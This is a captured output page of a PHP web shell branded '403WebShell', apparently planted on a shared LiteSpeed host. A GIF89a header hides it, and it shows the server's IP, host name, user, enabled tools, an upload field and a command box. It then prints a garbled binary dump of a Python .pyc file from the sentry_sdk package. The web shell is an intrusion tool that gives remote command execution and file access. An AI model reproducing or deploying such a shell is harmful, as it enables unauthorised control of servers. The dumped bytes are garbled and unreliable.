GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 104.21.83.152  /  Your IP : 216.73.216.66
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cloudlinux/venv/lib/python3.11/site-packages/sentry_sdk/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cloudlinux/venv/lib/python3.11/site-packages/sentry_sdk/__pycache__/scope.cpython-311.pyc
�

�ha����ddlmZddlmZddlmZddlZddlZddlmZddl	m
Z
ddlmZm
Z
mZmZddlmZmZmZdd	lmZdd
lmZmZddlmZerzddlmZdd
lmZddlmZddlmZddlm Z ddlm!Z!ddlm"Z"ddlm#Z#ddlm$Z$ddlm%Z%m&Z&m'Z'm(Z(m)Z)m*Z*m+Z+ddl,m-Z-ddlm.Z.ddl/m0Z0e$de"def���Z1e$d��Z2gZ3d�Z4d�Z5d�Z6Gd �d!e7��Z8dS)"�)�copy)�deque)�chainN)�
Attachment��wraps)�Baggage�extract_sentrytrace_data�has_tracing_enabled�normalize_incoming_data)�BAGGAGE_HEADER_NAME�SENTRY_TRACE_HEADER_NAME�Transaction)�
TYPE_CHECKING)�logger�capture_internal_exceptions)�FALSE_VALUES)�Any)�Dict)�Iterator)�Optional)�Deque)�List)�Callable)�Tuple)�TypeVar)�
Breadcrumb�Event�EventProcessor�ErrorProcessor�ExcInfo�Hint�Type)�Profile)�Span)�Session�F.)�bound�Tc�:�t�|��dS�N)�global_event_processors�append)�	processors �G/opt/cloudlinux/venv/lib64/python3.11/site-packages/sentry_sdk/scope.py�add_global_event_processorr0:s���"�"�9�-�-�-�-�-�c�.�t||j���S)N)�fset�doc)�property�__doc__)�fns r/�_attr_setterr8?s������,�,�,�,r1c�<��t����fd���}|S)Nc�d��|jsdS	d|_�|g|�Ri|��d|_S#d|_wxYw)NFT)�_should_capture)�self�args�kwargsr7s   �r/�wrapperz!_disable_capture.<locals>.wrapperFs^����#�	��F�	(�#(�D� ��2�d�,�T�,�,�,�V�,�,�#'�D� � ��4�D� �'�'�'�'s�&�	/r)r7r?s` r/�_disable_capturer@Ds3���
�2�Y�Y�(�(�(�(��Y�(��Nr1c���eZdZdZdZd�Zd�Zd�Zd�Zd�Z	d,d	�Z
d
�Zd�Zd�Z
d
�Zd�Zd�Zed���Zd�Zed���Zed���Zejd���Zd,d�Zed���Zd�Zed���Zejd���Zed���Zejd���Zd�Zd�Zd�Zd�Z d �Z!d!�Z"d"�Z#					d-d$�Z$d%�Z%	d,d&�Z&e'	d,d'���Z(d(�Z)						d.d)�Z*d*�Z+d+�Z,dS)/�ScopezaThe scope holds extra information that should be sent with all
    events that belong to it.
    )�_level�_name�_fingerprint�_transaction�_transaction_info�_user�_tags�	_contexts�_extras�_breadcrumbs�_event_processors�_error_processorsr;�_span�_session�_attachments�_force_auto_session_tracking�_profile�_propagation_contextc��g|_g|_d|_d|_|���|���}|�|���dS)N)�
incoming_data)rMrNrDrT�clear�_load_trace_data_from_env�generate_propagation_context)r<�incoming_trace_informations  r/�__init__zScope.__init__ws^��!#���!#�����
�$(��!��
�
����%)�%C�%C�%E�%E�"��)�)�8R�)�S�S�S�S�Sr1c��d}tj�d��pd���}|tv}|r�i}tj�d��r)tj�d��pd|t
<tj�d��r)tj�d��pd|t<|pdS)z�
        Load Sentry trace id and baggage from environment variables.
        Can be disabled by setting SENTRY_USE_ENVIRONMENT to "false".
        N�SENTRY_USE_ENVIRONMENT��SENTRY_TRACE�SENTRY_BAGGAGE)�os�environ�get�lowerrrr
)r<rZ�sentry_use_environment�use_environments    r/rXzScope._load_trace_data_from_env�s���&*�"�
�J�N�N�3�4�4�:��
�%�'�'�	�1��D���	�)+�&��z�~�~�n�-�-�
��J�N�N�>�2�2�8�b�+�+C�D��z�~�~�.�/�/�
��J�N�N�#3�4�4�:��+�+>�?�*�1�T�1r1c��i}t|��}|�t��}|r)tj|�����|d<|�t��}|r&t|��}|�|�|��d|vod|v}|r'|�|�	����|r:|�d��s#tj��jdd�|d<|SdS)N�dynamic_sampling_context�trace_id�span_id�)
rrcr
r	�from_incoming_headerrhrr
�update�_create_new_propagation_context�uuid�uuid4�hex)r<�data�context�normalized_data�baggage_header�sentry_trace_header�sentrytrace_data�only_baggage_no_sentry_traces        r/�_extract_propagation_contextz"Scope._extract_propagation_context�s%����1�$�7�7��(�,�,�-@�A�A���	)�29�2N��3�3�&�&�(�(�
�.�/�.�1�1�2J�K�K���	1�7�8K�L�L���+����/�0�0�0�
'�'�1�O�j��6O�	%�(�	C��N�N�4�?�?�A�A�B�B�B��	��;�;�y�)�)�
;�%)�Z�\�\�%5�b�c�c�%:��	�"��N��tr1c�x�tj��jtj��jdd�ddd�S)Nrk�rirj�parent_span_idrh)rorprq�r<s r/rnz%Scope._create_new_propagation_context�s:���
���(��z�|�|�'����,�"�(,�	
�
�	
r1c�l�|���|_tjd|j��dS)zt
        Creates a new propagation context and sets it as `_propagation_context`. Overwriting existing one.
        z,[Tracing] Create new propagation context: %sN)rnrTr�debugr}s r/�set_new_propagation_contextz!Scope.set_new_propagation_context�s?��
%)�$H�$H�$J�$J��!���:��%�	
�	
�	
�	
�	
r1Nc��|r8|�|��}|�!||_tjd|j��|j�|���dSdS)z�
        Makes sure `_propagation_context` is set.
        If there is `incoming_data` overwrite existing `_propagation_context`.
        if there is no `incoming_data` create new `_propagation_context`, but do NOT overwrite if already existing.
        Nz>[Tracing] Extracted propagation context from incoming data: %s)ryrTrrr�)r<rVrss   r/rYz"Scope.generate_propagation_context�su���	��7�7�
�F�F�G��"�,3��)���T��-����
�$�,��,�,�.�.�.�.�.�-�,r1c��|j�dS|���}|�|���|jd<|jdS)z�
        Returns the Dynamic Sampling Context from the Propagation Context.
        If not existing, creates a new one.
        Nrh)rT�get_baggagerh)r<�baggages  r/�get_dynamic_sampling_contextz"Scope.get_dynamic_sampling_context�s[���$�,��4��"�"�$�$�����0�0�2�2�
�%�*�
��(�)C�D�Dr1c�R�|j�dS|jd�d|jd��}|S)zn
        Returns the Sentry "sentry-trace" header (aka the traceparent) from the Propagation Context.
        Nri�-rj)rT)r<�traceparents  r/�get_traceparentzScope.get_traceparent�sB��
�$�,��4�
�%�j�1�1�1��%�i�0�0�
���r1c��|j�dS|j�d��}|�tj|��St|��S)Nrh)rTrcr	�from_options)r<rhs  r/r�zScope.get_baggagesT���$�,��4�#'�#<�#@�#@�&�$
�$
� �$�+��'��-�-�-��3�4�4�4r1c��|j�dS|jd|jd|jd|���d�}|S)zR
        Returns the Sentry "trace" context from the Propagation Context.
        Nrirjr|r{)rTr�)r<�
trace_contexts  r/�get_trace_contextzScope.get_trace_contextsY��
�$�,��4��1�*�=��0��;�"�7�8H�I�(,�(I�(I�(K�(K�	
�
�
��r1c#��K�|j�e|���}|�t|fV�|���}|�0t	|�����}t|fV�dSdSdS)zz
        Creates a generator which returns the `sentry-trace` and `baggage` headers from the Propagation Context.
        N)rTr�rr�r	�	serializer
)r<r��dscr�s    r/�iter_headerszScope.iter_headers#s�����
�$�0��.�.�0�0�K��&�.��;�;�;�;��3�3�5�5�C���!�#�,�,�0�0�2�2��)�7�2�2�2�2�2�2�1�0��r1c��d|_d|_d|_i|_d|_i|_i|_i|_g|_|�	��d|_
d|_d|_d|_
d|_d|_dS)zClears the entire scope.NT)rCrErFrGrHrIrJrKrQ�clear_breadcrumbsr;rOrPrRrSrTr}s r/rWzScope.clear2s������ ��� ���!#�����
���
������������� � � �#�����
���
�,0��)���
�$(��!�!�!r1c��||_dS)zDWhen set this overrides the level. Deprecated in favor of set_level.N�rC�r<�values  r/�levelzScope.levelKs������r1c��||_dS)zSets the level for the scope.Nr�r�s  r/�	set_levelzScope.set_levelQs������r1c��||_dS)z0When set this overrides the default fingerprint.N)rEr�s  r/�fingerprintzScope.fingerprintVs��"����r1c�H�|j�dS|jj�dS|jjS)z8Return the transaction (root span) in the scope, if any.N)rO�containing_transactionr}s r/�transactionzScope.transaction\s0���:���4��:�,�4��4��z�0�0r1c��tjd��||_|jr|jjr||jj_dSdSdS)zrWhen set this forces a specific transaction name to be set.

        Deprecated: use set_transaction_name instead.z`Assigning to scope.transaction directly is deprecated: use scope.set_transaction_name() instead.N)r�warningrFrOr��namer�s  r/r�zScope.transactionnsb��$	��n�	
�	
�	
�"����:�	;�$�*�;�	;�5:�D�J�-�2�2�2�	;�	;�	;�	;r1c��||_|jr0|jjr$||jj_|r||jj_|r||jd<dSdS)z?Set the transaction name and optionally the transaction source.�sourceN)rFrOr�r�r�rG)r<r�r�s   r/�set_transaction_namezScope.set_transaction_name�sl��!����:�	B�$�*�;�	B�59�D�J�-�2��
B�;A��
�1�8��	6�/5�D�"�8�,�,�,�	6�	6r1c�0�|�|��dS)zPWhen set a specific user is bound to the scope. Deprecated in favor of set_user.N)�set_userr�s  r/�userz
Scope.user�s��	
�
�
�e�����r1c�\�||_|j�|j�|���dSdS)zSets a user for the scope.N)r�)rHrPrmr�s  r/r�zScope.set_user�s:����
��=�$��M� � �e� �,�,�,�,�,�%�$r1c��|jS)z,Get/set current tracing span or transaction.)rOr}s r/�spanz
Scope.span�s���z�r1c�p�||_t|t��r|}|jr|j|_dSdSdSr+)rO�
isinstancerr�rF)r<r�r�s   r/r�z
Scope.span�sT����
��d�K�(�(�	5��K���
5�$/�$4��!�!�!�	5�	5�
5�
5r1c��|jSr+�rSr}s r/�profilez
Scope.profile�s���}�r1c��||_dSr+r�)r<r�s  r/r�z
Scope.profile�s�� ��
�
�
r1c��||j|<dS)z)Sets a tag for a key to a specific value.N)rI�r<�keyr�s   r/�set_tagz
Scope.set_tag�s�� ��
�3���r1c�<�|j�|d��dS)zRemoves a specific tag.N)rI�pop�r<r�s  r/�
remove_tagzScope.remove_tag�s ��
	
�
���s�D�!�!�!�!�!r1c��||j|<dS)z5Binds a context at a certain key to a specific value.N)rJr�s   r/�set_contextzScope.set_context�s��$���s���r1c�<�|j�|d��dS)zRemoves a context.N)rJr�r�s  r/�remove_contextzScope.remove_context�s"��
	
����3��%�%�%�%�%r1c��||j|<dS)z&Sets an extra key to a specific value.N)rKr�s   r/�	set_extrazScope.set_extra�s��"���S���r1c�<�|j�|d��dS)zRemoves a specific extra key.N)rKr�r�s  r/�remove_extrazScope.remove_extra�s"��
	
�����d�#�#�#�#�#r1c�,�t��|_dS)zClears breadcrumb buffer.N)rrLr}s r/r�zScope.clear_breadcrumbs�s��"�G�G����r1Fc	�^�|j�t|||||�����dS)z)Adds an attachment to future events sent.)�bytes�path�filename�content_type�add_to_transactionsN)rQr-r)r<r�r�r�r�r�s      r/�add_attachmentzScope.add_attachment�sJ��	
�� � ����!�)�$7�
�
�
�	
�	
�	
�	
�	
r1c��t|j��dkr$tjd|j��|jdd�=|j�|��dS)z}Register a scope local event processor on the scope.

        :param func: This function behaves like `before_send.`
        �zLToo many event processors on scope! Clearing list to free up some memory: %rN)�lenrMrr�r-)r<�funcs  r/�add_event_processorzScope.add_event_processorse���t�%�&�&��+�+��N�^��&�
�
�
��&�q�q�q�)���%�%�d�+�+�+�+�+r1c�V���|�
|�|���fd�}|j�|��dS)aRegister a scope local error processor on the scope.

        :param func: A callback that works similar to an event processor but is invoked with the original exception info triple as second argument.

        :param cls: Optionally, only process exceptions of this type.
        Nc�x��	t|d���}n#t$rd}YnwxYw|r�||��S|S)N�F)r��	Exception)�event�exc_info�is_inst�cls_�	real_funcs   ��r/r�z'Scope.add_error_processor.<locals>.func's`���$�(��!��d�;�;�G�G�� �$�$�$�#�G�G�G�$�����6�$�9�U�H�5�5�5��s��)�))rNr-)r<r��clsr�r�s   @@r/�add_error_processorzScope.add_error_processorsR�����?��D��I�
�
�
�
�
�
�	
��%�%�d�+�+�+�+�+r1c�|�d�}|�d��dk}|�d��pg}|jD] }|r|jr|�|���!||d<|j�
|j|d<|sB|�di���dg���|j��|�d	���|j�
|j|d	<|�d���|j	�
|j	|d<|�d
���|j
�
|j
|d
<|�d���|j�
|j|d<|jr.|�di���
|j��|jr.|�d
i���
|j��|jr.|�di���
|j��|�di��}|�d���Jt!|��r$|j�|j���|d<n|���|d<	|ddd}	n#t&t(f$rd}	YnwxYw|	�d|	i|d<|�d��}
|
�(|jD] }|||
��}|�||d��cS|}�!t-t.|j��D]H}
|}t3��5|
||��}ddd��n#1swxYwY|�||
d��cS|}�I|S)zBApplies the information contained on the scope to the given event.c�2�tjd||��dS)Nz%s (%s) dropped event)r�info)�cause�tys  r/�_dropz#Scope.apply_to_event.<locals>._drop=s���K�/��U�;�;�;��4r1�typer��attachmentsNr��breadcrumbs�valuesr��transaction_infor��extra�tags�contexts�tracerh�	replay_id�replayr�zerror processorzevent processor)rcrQr�r-rC�
setdefault�extendrLrHrFrGrErKrmrIrJrrOr��KeyError�	TypeErrorrNrr,rMr)r<r��hint�optionsr��is_transaction�attachments_to_send�
attachmentr�r�r��error_processor�	new_event�event_processors              r/�apply_to_eventzScope.apply_to_event3s���	�	�	�
���6�*�*�m�;��
#�h�h�}�5�5�;����+�	7�	7�J�!�
7�Z�%C�
7�#�*�*�:�6�6�6��1��]���;�"�!�[�E�'�N��	����]�B�/�/�:�:�8�R�H�H�O�O��!�
�
�
��9�9�V���$���)?� �J�E�&�M��9�9�]�#�#�+��0A�0M�#'�#4�E�-� ��9�9�'�(�(�0�T�5K�5W�(,�(>�E�$�%��9�9�]�#�#�+��0A�0M�#'�#4�E�-� ��<�	?����W�b�)�)�0�0���>�>�>��:�	<����V�R�(�(�/�/��
�;�;�;��>�	D����Z��,�,�3�3�D�N�C�C�C��#�#�J��3�3���<�<�� � �(�"�7�+�+�
=��
�0F�$(�J�$@�$@�$B�$B���!�!�$(�$:�$:�$<�$<���!�	� ��)�*D�E�k�R�I�I���)�$�	�	�	��I�I�I�	����� ��Y�"�H�X���8�8�J�'�'����#'�#9�
"�
"��+�O�E�8�<�<�	��$� �5��2C�D�D�D�D�D�!���$�%<�d�>T�U�U�	�	�O��I�,�.�.�
9�
9�+�O�E�4�8�8�	�
9�
9�
9�
9�
9�
9�
9�
9�
9�
9�
9����
9�
9�
9�
9�� ��u�_�.?�@�@�@�@�@��E�E��s$�#I8�8J�
J�
L�L"	�%L"	c���|j�|j|_|j�|j|_|j�|j|_|j�|j�|j��|j�|j|_|jr|j�|j��|jr|j�|j��|jr|j�|j��|j	r|j	�
|j	��|jr|j|_|jr|j�
|j��|j
r|j
|_
|jr|j|_dSdSr+)rCrErFrGrmrHrIrJrKrLr�rOrQrSrT)r<�scopes  r/�update_from_scopezScope.update_from_scope�sn���<�#��,�D�K���)� %� 2�D����)� %� 2�D���"�.��"�)�)�%�*A�B�B�B��;�"���D�J��;�	+��J���e�k�*�*�*��?�	3��N�!�!�%�/�2�2�2��=�	/��L����
�.�.�.���	9���$�$�U�%7�8�8�8��;�	%���D�J���	9���$�$�U�%7�8�8�8��>�	+�!�N�D�M��%�	C�(-�(B�D�%�%�%�	C�	Cr1c���|�||_|�||_|�|j�|��|�|j�|��|�|j�|��|�	||_dSdSr+)rCrHrKrmrJrIrE)r<r�r��extrasr�r�r�s       r/�update_from_kwargszScope.update_from_kwargs�s������D�K����D�J����L����'�'�'����N�!�!�(�+�+�+����J���d�#�#�#��"� +�D����#�"r1c���t�|j��}|j|_|j|_|j|_|j|_t|j��|_|j	|_	t|j
��|_
t|j��|_t|j��|_t|j��|_t|j��|_t|j��|_|j|_|j|_|j|_|j|_|j|_t|j��|_|j|_|Sr+)�object�__new__�	__class__rCrDrErF�dictrGrHrIrJrKrrL�listrMrNrTr;rOrPrRrQrS)r<�rvs  r/�__copy__zScope.__copy__�s��
�^�^�D�N�
+�
+���K��	��:����+����+���#�D�$:�;�;����:�����
�#�#����D�N�+�+����$�,�'�'��
��t�0�1�1���#�D�$:�;�;���#�D�$:�;�;���"&�";���!�1����:����m���*.�*K��'��t�0�1�1����m����	r1c�l�d|jj�dtt|�����d|j�d�S)N�<z id=z name=�>)r�__name__rq�idrDr}s r/�__repr__zScope.__repr__�s:���
�N�#�#�#���4���M�M�M�M��J�J�J�
�	
r1r+)NNNNF)NNNNNN)-r
�
__module__�__qualname__r6�	__slots__r[rXryrnr�rYr�r�r�r�r�rWr8r�r�r�r5r��setterr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r@r�r�r�rr�r1r/rBrBTsJ���������I�0T�T�T�2�2�2�6���>
�
�
�	
�	
�	
�/�/�/�/�(E�E�E�"���5�5�5����"
3�
3�
3�)�)�)�2����\��
���
�"�"��\�"�
�1�1��X�1�"��;�;���;�06�6�6�6�����\��
-�-�-�����X��

�[�5�5��[�5�����X��
�^� � ��^� �
 � � �"�"�"�$�$�$�&�&�&�"�"�"�$�$�$�$�$�$���
��!�

�
�
�
�(,�,�,�(
�,�,�,�,�8�
�	X�X�X���X�tC�C�C�>����
��,�,�,�,�.���<
�
�
�
�
r1rB)9r�collectionsr�	itertoolsrraro�sentry_sdk.attachmentsr�sentry_sdk._functoolsr�sentry_sdk.tracing_utilsr	r
rr�sentry_sdk.tracingr
rr�sentry_sdk._typesr�sentry_sdk.utilsrr�sentry_sdk.constsr�typingrrrrrrrrrrrrr r!r"r#�sentry_sdk.profilerr$r%�sentry_sdk.sessionr&r'r)r,r0r8r@rrBrr1r/�<module>rs���������������������	�	�	�	�����-�-�-�-�-�-�'�'�'�'�'�'�����������������������
,�+�+�+�+�+�@�@�@�@�@�@�@�@�*�*�*�*�*�*���������������������������������������������������������������������������,�+�+�+�+�+�'�'�'�'�'�'�*�*�*�*�*�*����8�C��H�-�.�.�.�A������A���.�.�.�
-�-�-�

�
�
� R

�R

�R

�R

�R

�F�R

�R

�R

�R

�R

r1

Youez - 2016 - github.com/yon3zu
LinuXploit